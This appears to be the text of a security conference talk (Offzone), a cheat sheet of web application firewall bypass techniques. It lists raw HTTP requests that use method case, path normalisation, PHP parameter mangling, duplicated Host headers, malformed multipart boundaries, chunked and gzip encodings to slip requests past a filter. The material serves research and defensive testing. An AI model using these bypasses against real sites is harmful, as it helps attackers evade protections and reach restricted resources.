Another way to bypass WAF
Cheat Sheet
Антон Лопаницын
Security researcher
HTTP Request
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
rn перед началом HTTP-запроса
Apache
get /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Регистр метода
IIS
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Пробел или знак табуляции перед методом
Any
hello/%2e%2e/backup/world/%2e%2e
=>
GET /backup/ HTTP/1.1
Использование логики нормализации
Nginx
GET /hello /%2e%2e/backup/
=>
GET /backup/ HTTP/1.1
Использование логики нормализации
Any
GET /%2fbackup/ HTTP/1.1
GET /%2e%2fbackup/ HTTP/1.1
GET /%252fbackup/ HTTP/1.1
GET /%5cbackup/ HTTP/1.1
GET /%C0%AFbackup/ HTTP/1.1
Использование логики нормализации
GET /backup;/ HTTP/1.1
GET /..;/backup/ HTTP/1.1
GET /backup%20/ HTTP/1.1
Использование логики нормализации
GET /%e2%80%aesutats-revres/ HTTP/1.1
=>
/server-status/
U+202E: RIGHT-TO-LEFT OVERRIDE, без пруфов
PHP
GET /login.php?shell.exec HTTP/1.1
GET /login.php?shell[exec HTTP/1.1
PHP
GET /login.php?shell%5bexec HTTP/1.1
GET /login.php?shell%2eexec HTTP/1.1
GET /login.php?shell%5fexec HTTP/1.1
GET /login.php?shell%20exec HTTP/1.1
PHP
?pam_param=test1&pam[param=test2&pam%5bparam=test3
PHP
GET /login.php?hello%00text=world HTTP/1.1
HTTP Request
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
HTTP Request - absoluteURI
GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host header
Host header
Host header
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Дублирование заголовков
Host header
GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Заголовок с маленькой буквы
Host header
GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Отсутствие разделителя или табуляция вместо пробела
Host header
GET /login.php HTTP/1.1
Host: favoritewaf.com:8800
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows
NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Дополнительные символы к заголовку Host
Host header
.
/
:
x00
x20
x09
-
Дополнительные символы к заголовку Host
IIS
NGINX
ANY
HTTP Request - absoluteURI
POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: application/another-text/+++x-www-form-urlencoded
hello=world
Некорректное значение Content-type
HTTP Request - absoluteURI
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Length: 1
AAAAAAAA
Данных больше, чем в Content-length
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=--------1218108630
----------1218108630
Content-Disposition: form-data; name="hello"
world
----------1218108630--
Content-type multipart
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=--------1218108630
----------1218108630
Content-Disposition: form-data; name="hello"
world
----------1218108630--
Content-type multipart
Content-Disposition: form-data; name="hello"
Content-Disposition: form-data; name="hello
Content-Disposition: form-data; name="hello"world"
Content-Disposition: attachment; name="hello"
Изменение имени параметра
Content-Type: multipart/form-data;
myfavoriteboundaryis=X; boundary=Hello;
Некорректный парсинг разделителя
Content-Type: multipart/form-data; boundary=x
Content-Length: 72
--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"
world
Объявление имени параметра
Content-Type: multipart/form-data;
boundary=ZZZ
Content-Type: multipart/form-data;
boundary=AAA
Дублирование заголовка
Content-Type: multipart/form-data;
boundary=HELLOx00XXXXXXXXX
Отбрасывание части разделителя нульбайтом
Можно ли отправить POST с
данными без заголовка Content-
Length?
Content-Type: application/x-www-form-
urlencoded
Transfer-Encoding: chunked
0B
hello=world
0
Отбрасывание части разделителя нульбайтом
Content-Type: application/x-www-form-
urlencoded
Transfer-Encoding: chunked
0B
hello=world
0
Chunked encoding
Transfer-Encoding: chunked
3
hel
3
lo=
3
wor
2
ld
0
What about TCP Window Size?
ВОТ ЭБАУТ ТИСИПИ ВИНДОВ САЙЗ?
$ printf "" | gzip > my.z
$ printf "mysuperattack" | gzip >> my.z
$ curl --data-binary @my.z -H "Content-Encoding: gzip" -X POST
'http://favoritewaf.com'
Q?
@i_bo0om
@webpwn

Offzone | Another waf bypass